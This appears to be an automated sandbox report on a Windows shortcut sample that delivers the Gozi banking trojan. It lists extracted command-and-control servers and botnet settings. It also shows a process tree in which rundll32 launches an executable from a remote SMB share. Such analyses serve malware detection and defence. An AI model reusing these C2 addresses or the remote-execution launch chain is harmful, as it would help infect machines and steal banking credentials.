Analysis

  • max time kernel
    134s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2023, 10:48

General

  • Target
    modulo/modulo.url
  • Size 196B
  • Sample230123-mv42lsch74
  • SHA256 1b540066b8d124eb101b9f1500f523556f7af5a7c661979f077213edf251f646
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gozi

Extracted

Family
  • gozi

Botnet
  • 7707

C2
  • checklist.skype.com

  • 62.173.149.10

  • 31.41.44.27

  • 193.0.178.235

Attributes
  • base_path

    /drew/

  • build

    250250

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\modulo\modulo.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4056
    • \??\UNC\194.116.162.14\Agenzia\scarica.exe
      "\\194.116.162.14\Agenzia\scarica.exe"
      2⤵
        PID:4088

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/4088-133-0x000000000065D000-0x0000000000672000-memory.dmp

          memory/4088-134-0x00000000005F0000-0x00000000005FB000-memory.dmp

          memory/4088-135-0x0000000000400000-0x0000000000458000-memory.dmp

          memory/4088-136-0x00000000021F0000-0x00000000021FD000-memory.dmp

          memory/4088-139-0x000000000065D000-0x0000000000672000-memory.dmp

          memory/4088-140-0x0000000000400000-0x0000000000458000-memory.dmp